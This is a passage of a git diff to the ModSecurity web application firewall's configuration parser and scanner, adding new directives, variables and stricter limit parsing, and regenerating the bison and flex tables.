327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, - 345, 346, 347 + 345, 346, 347, 348, 349, 350, 351, 352, 353, 354 }; // Last valid token kind. - const int code_max = 602; + const int code_max = 609; if (t <= 0) return symbol_kind::S_YYEOF; @@ -8185,6 +8387,7 @@ switch (yykind) case symbol_kind::S_ACTION_CTL_BDY_XML: // "ACTION_CTL_BDY_XML" case symbol_kind::S_ACTION_CTL_BDY_URLENCODED: // "ACTION_CTL_BDY_URLENCODED" case symbol_kind::S_ACTION_CTL_FORCE_REQ_BODY_VAR: // "ACTION_CTL_FORCE_REQ_BODY_VAR" + case symbol_kind::S_ACTION_CTL_PARSE_XML_INTO_ARGS: // "ACTION_CTL_PARSE_XML_INTO_ARGS" case symbol_kind::S_ACTION_CTL_REQUEST_BODY_ACCESS: // "ACTION_CTL_REQUEST_BODY_ACCESS" case symbol_kind::S_ACTION_CTL_RULE_REMOVE_BY_ID: // "ACTION_CTL_RULE_REMOVE_BY_ID" case symbol_kind::S_ACTION_CTL_RULE_REMOVE_BY_TAG: // "ACTION_CTL_RULE_REMOVE_BY_TAG" @@ -8276,6 +8479,7 @@ switch (yykind) case symbol_kind::S_CONFIG_DIR_AUDIT_LOG2: // "CONFIG_DIR_AUDIT_LOG2" case symbol_kind::S_CONFIG_DIR_AUDIT_LOG_P: // "CONFIG_DIR_AUDIT_LOG_P" case symbol_kind::S_CONFIG_DIR_AUDIT_STS: // "CONFIG_DIR_AUDIT_STS" + case symbol_kind::S_CONFIG_DIR_AUDIT_PREFIX: // "CONFIG_DIR_AUDIT_PREFIX" case symbol_kind::S_CONFIG_DIR_AUDIT_TPE: // "CONFIG_DIR_AUDIT_TPE" case symbol_kind::S_CONFIG_DIR_DEBUG_LOG: // "CONFIG_DIR_DEBUG_LOG" case symbol_kind::S_CONFIG_DIR_DEBUG_LVL: // "CONFIG_DIR_DEBUG_LVL" @@ -8332,6 +8536,7 @@ switch (yykind) case symbol_kind::S_CONFIG_VALUE_ABORT: // "CONFIG_VALUE_ABORT" case symbol_kind::S_CONFIG_VALUE_DETC: // "CONFIG_VALUE_DETC" case symbol_kind::S_CONFIG_VALUE_HTTPS: // "CONFIG_VALUE_HTTPS" + case symbol_kind::S_CONFIG_VALUE_ONLYARGS: // "CONFIG_VALUE_ONLYARGS" case symbol_kind::S_CONFIG_VALUE_OFF: // "CONFIG_VALUE_OFF" case symbol_kind::S_CONFIG_VALUE_ON: // "CONFIG_VALUE_ON" case symbol_kind::S_CONFIG_VALUE_PARALLEL: // "CONFIG_VALUE_PARALLEL" @@ -8341,6 +8546,7 @@ switch (yykind) case symbol_kind::S_CONFIG_VALUE_SERIAL: // "CONFIG_VALUE_SERIAL" case symbol_kind::S_CONFIG_VALUE_WARN: // "CONFIG_VALUE_WARN" case symbol_kind::S_CONFIG_XML_EXTERNAL_ENTITY: // "CONFIG_XML_EXTERNAL_ENTITY" + case symbol_kind::S_CONFIG_XML_PARSE_XML_INTO_ARGS: // "CONFIG_XML_PARSE_XML_INTO_ARGS" case symbol_kind::S_CONGIG_DIR_RESPONSE_BODY_MP: // "CONGIG_DIR_RESPONSE_BODY_MP" case symbol_kind::S_CONGIG_DIR_SEC_ARG_SEP: // "CONGIG_DIR_SEC_ARG_SEP" case symbol_kind::S_CONGIG_DIR_SEC_COOKIE_FORMAT: // "CONGIG_DIR_SEC_COOKIE_FORMAT" @@ -8447,6 +8653,7 @@ switch (yykind) case symbol_kind::S_ACTION_CTL_BDY_XML: // "ACTION_CTL_BDY_XML" case symbol_kind::S_ACTION_CTL_BDY_URLENCODED: // "ACTION_CTL_BDY_URLENCODED" case symbol_kind::S_ACTION_CTL_FORCE_REQ_BODY_VAR: // "ACTION_CTL_FORCE_REQ_BODY_VAR" + case symbol_kind::S_ACTION_CTL_PARSE_XML_INTO_ARGS: // "ACTION_CTL_PARSE_XML_INTO_ARGS" case symbol_kind::S_ACTION_CTL_REQUEST_BODY_ACCESS: // "ACTION_CTL_REQUEST_BODY_ACCESS" case symbol_kind::S_ACTION_CTL_RULE_REMOVE_BY_ID: // "ACTION_CTL_RULE_REMOVE_BY_ID" case symbol_kind::S_ACTION_CTL_RULE_REMOVE_BY_TAG: // "ACTION_CTL_RULE_REMOVE_BY_TAG" @@ -8538,6 +8745,7 @@ switch (yykind) case symbol_kind::S_CONFIG_DIR_AUDIT_LOG2: // "CONFIG_DIR_AUDIT_LOG2" case symbol_kind::S_CONFIG_DIR_AUDIT_LOG_P: // "CONFIG_DIR_AUDIT_LOG_P" case symbol_kind::S_CONFIG_DIR_AUDIT_STS: // "CONFIG_DIR_AUDIT_STS" + case symbol_kind::S_CONFIG_DIR_AUDIT_PREFIX: // "CONFIG_DIR_AUDIT_PREFIX" case symbol_kind::S_CONFIG_DIR_AUDIT_TPE: // "CONFIG_DIR_AUDIT_TPE" case symbol_kind::S_CONFIG_DIR_DEBUG_LOG: // "CONFIG_DIR_DEBUG_LOG" case symbol_kind::S_CONFIG_DIR_DEBUG_LVL: // "CONFIG_DIR_DEBUG_LVL" @@ -8594,6 +8802,7 @@ switch (yykind) case symbol_kind::S_CONFIG_VALUE_ABORT: // "CONFIG_VALUE_ABORT" case symbol_kind::S_CONFIG_VALUE_DETC: // "CONFIG_VALUE_DETC" case symbol_kind::S_CONFIG_VALUE_HTTPS: // "CONFIG_VALUE_HTTPS" + case symbol_kind::S_CONFIG_VALUE_ONLYARGS: // "CONFIG_VALUE_ONLYARGS" case symbol_kind::S_CONFIG_VALUE_OFF: // "CONFIG_VALUE_OFF" case symbol_kind::S_CONFIG_VALUE_ON: // "CONFIG_VALUE_ON" case symbol_kind::S_CONFIG_VALUE_PARALLEL: // "CONFIG_VALUE_PARALLEL" @@ -8603,6 +8812,7 @@ switch (yykind) case symbol_kind::S_CONFIG_VALUE_SERIAL: // "CONFIG_VALUE_SERIAL" case symbol_kind::S_CONFIG_VALUE_WARN: // "CONFIG_VALUE_WARN" case symbol_kind::S_CONFIG_XML_EXTERNAL_ENTITY: // "CONFIG_XML_EXTERNAL_ENTITY" + case symbol_kind::S_CONFIG_XML_PARSE_XML_INTO_ARGS: // "CONFIG_XML_PARSE_XML_INTO_ARGS" case symbol_kind::S_CONGIG_DIR_RESPONSE_BODY_MP: // "CONGIG_DIR_RESPONSE_BODY_MP" case symbol_kind::S_CONGIG_DIR_SEC_ARG_SEP: // "CONGIG_DIR_SEC_ARG_SEP" case symbol_kind::S_CONGIG_DIR_SEC_COOKIE_FORMAT: // "CONGIG_DIR_SEC_COOKIE_FORMAT" @@ -8731,7 +8941,7 @@ switch (yykind) } // yy -#line 8735 "seclang-parser.hh" +#line 8945 "seclang-parser.hh" diff --git a/src/parser/seclang-parser.yy b/src/parser/seclang-parser.yy index c2da7e5145..46cdbfc1e1 100644 --- a/src/parser/seclang-parser.yy +++ b/src/parser/seclang-parser.yy @@ -27,6 +27,7 @@ class Driver; #include "src/actions/chain.h" #include "src/actions/ctl/audit_engine.h" #include "src/actions/ctl/audit_log_parts.h" +#include "src/actions/ctl/parse_xml_into_args.h" #include "src/actions/ctl/request_body_access.h" #include "src/actions/ctl/rule_engine.h" #include "src/actions/ctl/request_body_processor_json.h" @@ -44,6 +45,7 @@ class Driver; #include "src/actions/disruptive/redirect.h" #include "src/actions/init_col.h" #include "src/actions/exec.h" +#include "src/actions/expire_var.h" #include "src/actions/log_data.h" #include "src/actions/log.h" #include "src/actions/maturity.h" @@ -191,8 +193,11 @@ class Driver; #include "src/variables/multipart_crlf_lf_lines.h" #include "src/variables/multipart_data_after.h" #include "src/variables/multipart_data_before.h" +#include "src/variables/multipart_duplicate_part_header.h" #include "src/variables/multipart_file_limit_exceeded.h" #include "src/variables/multipart_file_name.h" +#include "src/variables/multipart_file_name_charset.h" +#include "src/variables/multipart_file_name_language.h" #include "src/variables/multipart_header_folding.h" #include "src/variables/multipart_invalid_header_folding.h" #include "src/variables/multipart_invalid_part.h" @@ -347,6 +352,8 @@ using namespace modsecurity::operators; VARIABLE_FILES_NAMES VARIABLE_FILES_TMP_CONTENT VARIABLE_MULTIPART_FILENAME + VARIABLE_MULTIPART_FILENAME_CHARSET + VARIABLE_MULTIPART_FILENAME_LANGUAGE VARIABLE_MULTIPART_NAME VARIABLE_MATCHED_VARS_NAMES VARIABLE_MATCHED_VARS @@ -377,6 +384,7 @@ using namespace modsecurity::operators; VARIABLE_MULTIPART_CRLF_LF_LINES "MULTIPART_CRLF_LF_LINES" VARIABLE_MULTIPART_DATA_AFTER "MULTIPART_DATA_AFTER" VARIABLE_MULTIPART_DATA_BEFORE + VARIABLE_MULTIPART_DUPLICATE_PART_HEADER "MULTIPART_DUPLICATE_PART_HEADER" VARIABLE_MULTIPART_FILE_LIMIT_EXCEEDED "MULTIPART_FILE_LIMIT_EXCEEDED" VARIABLE_MULTIPART_HEADER_FOLDING "MULTIPART_HEADER_FOLDING" VARIABLE_MULTIPART_INVALID_HEADER_FOLDING "MULTIPART_INVALID_HEADER_FOLDING" @@ -477,7 +485,7 @@ using namespace modsecurity::operators; OPERATOR_VERIFY_CC "OPERATOR_VERIFY_CC" OPERATOR_VERIFY_CPF "OPERATOR_VERIFY_CPF" OPERATOR_VERIFY_SSN "OPERATOR_VERIFY_SSN" - OPERATOR_VERIFY_SVNR "OPERATOR_VERIFY_SVNR" + OPERATOR_VERIFY_SVNR "OPERATOR_VERIFY_SVNR" OPERATOR_WITHIN "OPERATOR_WITHIN" CONFIG_DIR_AUDIT_LOG_FMT @@ -501,6 +509,7 @@ using namespace modsecurity::operators; ACTION_CTL_BDY_XML "ACTION_CTL_BDY_XML" ACTION_CTL_BDY_URLENCODED "ACTION_CTL_BDY_URLENCODED" ACTION_CTL_FORCE_REQ_BODY_VAR "ACTION_CTL_FORCE_REQ_BODY_VAR" + ACTION_CTL_PARSE_XML_INTO_ARGS "ACTION_CTL_PARSE_XML_INTO_ARGS" ACTION_CTL_REQUEST_BODY_ACCESS "ACTION_CTL_REQUEST_BODY_ACCESS" ACTION_CTL_RULE_REMOVE_BY_ID "ACTION_CTL_RULE_REMOVE_BY_ID" ACTION_CTL_RULE_REMOVE_BY_TAG "ACTION_CTL_RULE_REMOVE_BY_TAG" @@ -592,6 +601,7 @@ using namespace modsecurity::operators; CONFIG_DIR_AUDIT_LOG2 "CONFIG_DIR_AUDIT_LOG2" CONFIG_DIR_AUDIT_LOG_P "CONFIG_DIR_AUDIT_LOG_P" CONFIG_DIR_AUDIT_STS "CONFIG_DIR_AUDIT_STS" + CONFIG_DIR_AUDIT_PREFIX "CONFIG_DIR_AUDIT_PREFIX" CONFIG_DIR_AUDIT_TPE "CONFIG_DIR_AUDIT_TPE" CONFIG_DIR_DEBUG_LOG "CONFIG_DIR_DEBUG_LOG" CONFIG_DIR_DEBUG_LVL "CONFIG_DIR_DEBUG_LVL" @@ -648,6 +658,7 @@ using namespace modsecurity::operators; CONFIG_VALUE_ABORT "CONFIG_VALUE_ABORT" CONFIG_VALUE_DETC "CONFIG_VALUE_DETC" CONFIG_VALUE_HTTPS "CONFIG_VALUE_HTTPS" + CONFIG_VALUE_ONLYARGS "CONFIG_VALUE_ONLYARGS" CONFIG_VALUE_OFF "CONFIG_VALUE_OFF" CONFIG_VALUE_ON "CONFIG_VALUE_ON" CONFIG_VALUE_PARALLEL "CONFIG_VALUE_PARALLEL" @@ -657,6 +668,7 @@ using namespace modsecurity::operators; CONFIG_VALUE_SERIAL "CONFIG_VALUE_SERIAL" CONFIG_VALUE_WARN "CONFIG_VALUE_WARN" CONFIG_XML_EXTERNAL_ENTITY "CONFIG_XML_EXTERNAL_ENTITY" + CONFIG_XML_PARSE_XML_INTO_ARGS "CONFIG_XML_PARSE_XML_INTO_ARGS" CONGIG_DIR_RESPONSE_BODY_MP "CONGIG_DIR_RESPONSE_BODY_MP" CONGIG_DIR_SEC_ARG_SEP "CONGIG_DIR_SEC_ARG_SEP" CONGIG_DIR_SEC_COOKIE_FORMAT "CONGIG_DIR_SEC_COOKIE_FORMAT" @@ -709,6 +721,16 @@ using namespace modsecurity::operators; %type > > > variables %type > var +// Destructor directives to prevent memory leaks on parse errors. +// When YYERROR is called, these ensure proper cleanup of semantic values. +// Empty bodies are correct: with api.value.type variant, the variant's +// destructor automatically calls std::unique_ptr's destructor. +%destructor { } > +%destructor { } > +%destructor { } > > > +%destructor { } > +%destructor { } > +%destructor { } > > > //%printer { yyoutput << $$; } <*>; @@ -796,6 +818,13 @@ audit_log: driver.m_auditLog->setRelevantStatus(relevant_status); } + /* SecAuditLogPrefix */ + | CONFIG_DIR_AUDIT_PREFIX + { + std::string prefix($1); + driver.m_auditLog->setPrefix(prefix); + } + /* SecAuditLogType */ | CONFIG_DIR_AUDIT_TPE CONFIG_VALUE_SERIAL { @@ -826,13 +855,19 @@ audit_log: } | CONFIG_UPLOAD_FILE_LIMIT { - driver.m_uploadFileLimit.m_set = true; - driver.m_uploadFileLimit.m_value = strtol($1.c_str(), NULL, 10); + std::string errmsg = ""; + if (driver.m_uploadFileLimit.parse(std::string($1), &errmsg) != true) { + driver.error(@0, "Failed to parse SecUploadFileLimit: " + errmsg); + YYERROR; + } } | CONFIG_UPLOAD_FILE_MODE { - driver.m_uploadFileMode.m_set = true; - driver.m_uploadFileMode.m_value = strtol($1.c_str(), NULL, 8); + std::string errmsg = ""; + if (driver.m_uploadFileMode.parse(std::string($1), &errmsg) != true) { + driver.error(@0, "Failed to parse SecUploadFileMode: " + errmsg); + YYERROR; + } } | CONFIG_UPLOAD_DIR { @@ -1085,8 +1120,9 @@ expression: std::vector *a = new std::vector(); std::vector *t = new std::vector(); for (auto &i : *$4.get()) { - if (dynamic_cast(i.get())) { - t->push_back(dynamic_cast(i.release())); + if (auto pt = dynamic_cast(i.get())) { + t->push_back(pt); + i.release(); } else { a->push_back(i.release()); } @@ -1102,7 +1138,7 @@ expression: /* variables */ v, /* actions */ a, /* transformations */ t, - /* file name */ std::unique_ptr(new std::string(*@1.end.filename)), + /* file name */ std::string(*@1.end.filename), /* line number */ @1.end.line )); @@ -1122,7 +1158,7 @@ expression: /* variables */ v, /* actions */ NULL, /* transformations */ NULL, - /* file name */ std::unique_ptr(new std::string(*@1.end.filename)), + /* file name */ std::string(*@1.end.filename), /* line number */ @1.end.line )); if (driver.addSecRule(std::move(rule)) == false) { @@ -1134,8 +1170,9 @@ expression: std::vector *a = new std::vector(); std::vector *t = new std::vector(); for (auto &i : *$2.get()) { - if (dynamic_cast(i.get())) { - t->push_back(dynamic_cast(i.release())); + if (auto pt = dynamic_cast(i.get())) { + t->push_back(pt); + i.release(); } else { a->push_back(i.release()); } @@ -1143,7 +1180,7 @@ expression: std::unique_ptr rule(new RuleUnconditional( /* actions */ a, /* transformations */ t, - /* file name */ std::unique_ptr(new std::string(*@1.end.filename)), + /* file name */ std::string(*@1.end.filename), /* line number */ @1.end.line )); driver.addSecAction(std::move(rule)); @@ -1154,8 +1191,9 @@ expression: std::vector *a = new std::vector(); std::vector *t = new std::vector(); for (auto &i : *$2.get()) { - if (dynamic_cast(i.get())) { - t->push_back(dynamic_cast(i.release())); + if (auto pt = dynamic_cast(i.get())) { + t->push_back(pt); + i.release(); } else { a->push_back(i.release()); } @@ -1164,7 +1202,7 @@ expression: /* path to script */ $1, /* actions */ a, /* transformations */ t, - /* file name */ std::unique_ptr(new std::string(*@1.end.filename)), + /* file name */ std::string(*@1.end.filename), /* line number */ @1.end.line )); @@ -1195,8 +1233,8 @@ expression: definedPhase = phase->m_phase; secRuleDefinedPhase = phase->m_secRulesPhase; delete phase; - } else if (a->action_kind == actions::Action::RunTimeOnlyIfMatchKind || - a->action_kind == actions::Action::RunTimeBeforeMatchAttemptKind) { + } else if (a->action_kind == actions::Action::Kind::RunTimeOnlyIfMatchKind || + a->action_kind == actions::Action::Kind::RunTimeBeforeMatchAttemptKind) { actions::transformations::None *none = dynamic_cast(a); if (none != NULL) { driver.error(@0, "The transformation none is not suitable to be part of the SecDefaultActions"); @@ -1236,7 +1274,7 @@ expression: | CONFIG_DIR_SEC_MARKER { driver.addSecMarker(modsecurity::utils::string::removeBracketsIfNeeded($1), - /* file name */ std::unique_ptr(new std::string(*@1.end.filename)), + /* file name */ std::string(*@1.end.filename), /* line number */ @1.end.line ); } @@ -1600,13 +1638,19 @@ expression: /* Body limits */ | CONFIG_DIR_REQ_BODY_LIMIT { - driver.m_requestBodyLimit.m_set = true; - driver.m_requestBodyLimit.m_value = atoi($1.c_str()); + std::string errmsg = ""; + if (driver.m_requestBodyLimit.parse(std::string($1), &errmsg) != true) { + driver.error(@0, "Failed to parse SecRequestBodyLimit: " + errmsg); + YYERROR; + } } | CONFIG_DIR_REQ_BODY_NO_FILES_LIMIT { - driver.m_requestBodyNoFilesLimit.m_set = true; - driver.m_requestBodyNoFilesLimit.m_value = atoi($1.c_str()); + std::string errmsg = ""; + if (driver.m_requestBodyNoFilesLimit.parse(std::string($1), &errmsg) != true) { + driver.error(@0, "Failed to parse SecRequestsBodyNoFilesLimit: " + errmsg); + YYERROR; + } } | CONFIG_DIR_REQ_BODY_IN_MEMORY_LIMIT { @@ -1619,8 +1663,11 @@ expression: } | CONFIG_DIR_RES_BODY_LIMIT { - driver.m_responseBodyLimit.m_set = true; - driver.m_responseBodyLimit.m_value = atoi($1.c_str()); + std::string errmsg = ""; + if (driver.m_responseBodyLimit.parse(std::string($1), &errmsg) != true) { + driver.error(@0, "Failed to parse SecResponseBodyLimit: " + errmsg); + YYERROR; + } } | CONFIG_DIR_REQ_BODY_LIMIT_ACTION CONFIG_VALUE_PROCESS_PARTIAL { @@ -1653,8 +1700,11 @@ expression: */ | CONFIG_DIR_PCRE_MATCH_LIMIT { - driver.m_pcreMatchLimit.m_set = true; - driver.m_pcreMatchLimit.m_value = atoi($1.c_str()); + std::string errmsg = ""; + if (driver.m_pcreMatchLimit.parse(std::string($1), &errmsg) != true) { + driver.error(@0, "Failed to parse SecPcreMatchLimit: " + errmsg); + YYERROR; + } } | CONGIG_DIR_RESPONSE_BODY_MP { @@ -1665,7 +1715,8 @@ expression: for (std::set::iterator it=tokens.begin(); it!=tokens.end(); ++it) { - driver.m_responseBodyTypeToBeInspected.m_value.insert(*it); + driver.m_responseBodyTypeToBeInspected.m_value.insert( + utils::string::tolower(*it)); } } | CONGIG_DIR_RESPONSE_BODY_MP_CLEAR @@ -1682,6 +1733,18 @@ expression: { driver.m_secXMLExternalEntity = modsecurity::RulesSetProperties::TrueConfigBoolean; } + | CONFIG_XML_PARSE_XML_INTO_ARGS CONFIG_VALUE_ONLYARGS + { + driver.m_secXMLParseXmlIntoArgs = modsecurity::RulesSetProperties::OnlyArgsConfigXMLParseXmlIntoArgs; + } + | CONFIG_XML_PARSE_XML_INTO_ARGS CONFIG_VALUE_OFF + { + driver.m_secXMLParseXmlIntoArgs = modsecurity::RulesSetProperties::FalseConfigXMLParseXmlIntoArgs; + } + | CONFIG_XML_PARSE_XML_INTO_ARGS CONFIG_VALUE_ON + { + driver.m_secXMLParseXmlIntoArgs = modsecurity::RulesSetProperties::TrueConfigXMLParseXmlIntoArgs; + } | CONGIG_DIR_SEC_TMP_DIR { /* Parser error disabled to avoid breaking default installations with modsecurity.conf-recommended @@ -1961,6 +2024,30 @@ var: { VARIABLE_CONTAINER($$, new variables::MultiPartFileName_NoDictElement()); } + | VARIABLE_MULTIPART_FILENAME_CHARSET DICT_ELEMENT + { + VARIABLE_CONTAINER($$, new variables::MultiPartFileNameCharset_DictElement($2)); + } + | VARIABLE_MULTIPART_FILENAME_CHARSET DICT_ELEMENT_REGEXP + { + VARIABLE_CONTAINER($$, new variables::MultiPartFileNameCharset_DictElementRegexp($2)); + } + | VARIABLE_MULTIPART_FILENAME_CHARSET + { + VARIABLE_CONTAINER($$, new variables::MultiPartFileNameCharset_NoDictElement()); + } + | VARIABLE_MULTIPART_FILENAME_LANGUAGE DICT_ELEMENT + { + VARIABLE_CONTAINER($$, new variables::MultiPartFileNameLanguage_DictElement($2)); + } + | VARIABLE_MULTIPART_FILENAME_LANGUAGE DICT_ELEMENT_REGEXP + { + VARIABLE_CONTAINER($$, new variables::MultiPartFileNameLanguage_DictElementRegexp($2)); + } + | VARIABLE_MULTIPART_FILENAME_LANGUAGE + { + VARIABLE_CONTAINER($$, new variables::MultiPartFileNameLanguage_NoDictElement()); + } | VARIABLE_MULTIPART_NAME DICT_ELEMENT { VARIABLE_CONTAINER($$, new variables::MultiPartName_DictElement($2)); @@ -2353,6 +2440,10 @@ var: { VARIABLE_CONTAINER($$, new variables::MultipartDateBefore()); } + | VARIABLE_MULTIPART_DUPLICATE_PART_HEADER + { + VARIABLE_CONTAINER($$, new variables::MultipartDuplicatePartHeader()); + } | VARIABLE_MULTIPART_FILE_LIMIT_EXCEEDED { VARIABLE_CONTAINER($$, new variables::MultipartFileLimitExceeded()); @@ -2692,6 +2783,18 @@ act: //ACTION_NOT_SUPPORTED("CtlForceReequestBody", @0); ACTION_CONTAINER($$, new actions::Action($1)); } + | ACTION_CTL_PARSE_XML_INTO_ARGS CONFIG_VALUE_ON + { + ACTION_CONTAINER($$, new actions::ctl::ParseXmlIntoArgs("ctl:parseXmlIntoArgs=on")); + } + | ACTION_CTL_PARSE_XML_INTO_ARGS CONFIG_VALUE_OFF + { + ACTION_CONTAINER($$, new actions::ctl::ParseXmlIntoArgs("ctl:parseXmlIntoArgs=off")); + } + | ACTION_CTL_PARSE_XML_INTO_ARGS CONFIG_VALUE_ONLYARGS + { + ACTION_CONTAINER($$, new actions::ctl::ParseXmlIntoArgs("ctl:parseXmlIntoArgs=onlyargs")); + } | ACTION_CTL_REQUEST_BODY_ACCESS CONFIG_VALUE_ON { ACTION_CONTAINER($$, new actions::ctl::RequestBodyAccess($1 + "true")); @@ -2744,10 +2847,9 @@ act: { ACTION_CONTAINER($$, new actions::Exec($1)); } - | ACTION_EXPIRE_VAR + | ACTION_EXPIRE_VAR run_time_string { - //ACTION_NOT_SUPPORTED("ExpireVar", @0); - ACTION_CONTAINER($$, new actions::Action($1)); + ACTION_CONTAINER($$, new actions::ExpireVar(std::move($2))); } | ACTION_ID { diff --git a/src/parser/seclang-scanner.cc b/src/parser/seclang-scanner.cc index 22c04dd281..5e74c01de8 100644 --- a/src/parser/seclang-scanner.cc +++ b/src/parser/seclang-scanner.cc @@ -1,5 +1,5 @@ -#line 2 "seclang-scanner.cc" +#line 3 "seclang-scanner.cc" #define YY_INT_ALIGNED short int @@ -433,8 +433,8 @@ static void yynoreturn yy_fatal_error ( const char* msg ); /* %% [3.0] code to copy yytext_ptr to yytext[] goes here, if %array \ */\ (yy_c_buf_p) = yy_cp; /* %% [4.0] data tables for the DFA and the user's section 1 definitions go here */ -#define YY_NUM_RULES 546 -#define YY_END_OF_BUFFER 547 +#define YY_NUM_RULES 559 +#define YY_END_OF_BUFFER 560 /* This struct is not used in this scanner, but its presence is necessary. */ struct yy_trans_info @@ -442,448 +442,465 @@ struct yy_trans_info flex_int32_t yy_verify; flex_int32_t yy_nxt; }; -static const flex_int16_t yy_accept[3994] = +static const flex_int16_t yy_accept[4155] = { 0, - 0, 0, 0, 0, 273, 273, 281, 281, 0, 0, + 0, 0, 0, 0, 279, 279, 287, 287, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 285, 285, 0, 0, 0, 0, + 0, 0, 0, 0, 291, 291, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 547, 539, 533, 266, 270, 271, - 269, 272, 539, 539, 539, 539, 539, 539, 539, 539, - 539, 539, 539, 539, 539, 289, 289, 546, 289, 289, - - 289, 289, 289, 289, 289, 289, 289, 289, 289, 289, - 289, 289, 289, 289, 289, 289, 126, 273, 279, 281, - 283, 277, 276, 278, 275, 281, 274, 497, 497, 496, - 497, 497, 497, 121, 120, 119, 128, 128, 128, 135, - 127, 128, 130, 130, 130, 129, 135, 130, 133, 133, - 133, 132, 135, 131, 133, 538, 538, 538, 546, 499, - 498, 448, 451, 546, 451, 448, 448, 448, 437, 437, - 437, 440, 442, 437, 441, 437, 431, 437, 507, 507, - 507, 506, 511, 507, 509, 509, 509, 508, 511, 509, - 118, 118, 110, 118, 115, 109, 118, 118, 118, 118, - - 118, 118, 118, 118, 118, 118, 118, 118, 118, 118, - 118, 118, 118, 118, 113, 118, 112, 546, 516, 546, - 512, 525, 546, 285, 286, 546, 503, 503, 502, 505, - 503, 501, 501, 500, 505, 501, 150, 540, 541, 542, - 137, 136, 137, 137, 137, 137, 137, 137, 141, 140, - 145, 146, 146, 145, 143, 142, 140, 148, 149, 149, - 147, 148, 533, 266, 0, 269, 269, 269, 0, 0, - 0, 0, 0, 0, 0, 0, 218, 0, 0, 0, - 0, 0, 534, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 416, 0, 0, 0, - - 0, 0, 0, 0, 0, 0, 0, 0, 0, 421, - 0, 0, 0, 0, 0, 122, 0, 125, 273, 279, - 281, 283, 280, 281, 282, 283, 284, 533, 0, 0, + 0, 0, 0, 0, 560, 552, 546, 272, 276, 277, + 275, 278, 552, 552, 552, 552, 552, 552, 552, 552, + 552, 552, 552, 552, 552, 295, 295, 559, 295, 295, + + 295, 295, 295, 295, 295, 295, 295, 295, 295, 295, + 295, 295, 295, 295, 295, 295, 125, 279, 285, 287, + 289, 283, 282, 284, 281, 287, 280, 508, 508, 507, + 508, 508, 508, 120, 119, 118, 128, 128, 128, 137, + 126, 128, 131, 131, 131, 129, 137, 131, 135, 135, + 135, 133, 137, 132, 135, 551, 551, 551, 559, 510, + 509, 459, 462, 559, 462, 459, 459, 459, 448, 448, + 448, 451, 453, 448, 452, 448, 442, 448, 520, 520, + 520, 518, 524, 520, 522, 522, 522, 521, 524, 522, + 117, 117, 109, 117, 114, 108, 117, 117, 117, 117, + + 117, 117, 117, 117, 117, 117, 117, 117, 117, 117, + 117, 117, 117, 117, 112, 117, 111, 559, 529, 559, + 525, 538, 559, 291, 292, 559, 515, 515, 514, 517, + 515, 513, 513, 511, 517, 513, 152, 553, 554, 555, + 139, 138, 139, 139, 139, 139, 139, 139, 143, 142, + 147, 148, 148, 147, 145, 144, 142, 150, 151, 151, + 149, 150, 546, 272, 0, 275, 275, 275, 0, 0, + 0, 0, 0, 0, 0, 0, 223, 0, 0, 0, + 0, 0, 547, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 427, 0, 0, 0, + + 0, 0, 0, 0, 0, 0, 0, 0, 0, 432, + 0, 0, 0, 0, 0, 121, 0, 124, 279, 285, + 287, 289, 286, 287, 288, 289, 290, 546, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 128, 0, 128, 128, - 128, 0, 134, 122, 128, 128, 130, 0, 0, 130, - 130, 130, 0, 130, 122, 130, 133, 0, 0, 133, - 133, 133, 0, 133, 122, 133, 538, 538, 538, 0, - 536, 538, 448, 0, 448, 0, 448, 448, 0, 448, - 448, 437, 0, 0, 436, 437, 437, 437, 0, 437, - - 510, 437, 437, 0, 436, 0, 437, 429, 430, 437, - 437, 507, 0, 0, 507, 507, 507, 0, 507, 122, - 507, 509, 0, 509, 509, 0, 509, 0, 0, 122, - 509, 509, 0, 110, 0, 109, 0, 111, 115, 116, - 0, 109, 0, 0, 0, 0, 0, 0, 0, 0, + 128, 0, 136, 121, 128, 127, 128, 131, 0, 0, + 131, 131, 131, 0, 131, 121, 131, 130, 131, 135, + 0, 0, 135, 135, 135, 0, 135, 121, 135, 134, + 135, 551, 551, 551, 0, 549, 551, 459, 0, 459, + 0, 459, 459, 0, 459, 459, 448, 0, 0, 447, + + 448, 448, 448, 0, 448, 523, 448, 448, 0, 447, + 0, 448, 440, 441, 448, 448, 520, 0, 0, 520, + 520, 520, 0, 520, 121, 520, 519, 520, 522, 0, + 522, 522, 0, 522, 0, 0, 121, 522, 522, 0, + 109, 0, 108, 0, 110, 114, 115, 0, 108, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 105, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 107, 0, 0, 113, 0, 114, - 112, 112, 0, 516, 0, 525, 0, 516, 514, 524, - 0, 512, 525, 0, 0, 532, 0, 515, 0, 285, - - 286, 0, 286, 0, 0, 503, 0, 503, 0, 504, - 503, 501, 0, 0, 501, 0, 501, 540, 541, 542, - 0, 0, 0, 0, 0, 0, 138, 139, 145, 0, - 0, 145, 0, 145, 144, 148, 0, 0, 148, 0, - 148, 269, 0, 0, 0, 0, 0, 0, 0, 217, - 0, 0, 0, 0, 0, 0, 0, 534, 535, 0, - 0, 0, 399, 0, 0, 387, 0, 0, 0, 424, + 0, 0, 0, 0, 0, 0, 0, 0, 104, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 427, 0, 0, 0, 0, - 397, 122, 123, 124, 0, 0, 0, 0, 469, 0, - - 470, 0, 471, 0, 0, 474, 475, 477, 0, 0, - 479, 0, 0, 0, 0, 0, 0, 470, 0, 0, - 0, 128, 0, 0, 122, 123, 0, 130, 0, 0, - 122, 123, 0, 133, 0, 0, 122, 123, 536, 537, - 448, 0, 448, 0, 443, 0, 443, 0, 448, 0, - 437, 0, 0, 437, 0, 436, 0, 437, 437, 437, - 437, 437, 0, 0, 0, 0, 437, 437, 437, 0, - 507, 0, 0, 122, 123, 0, 509, 0, 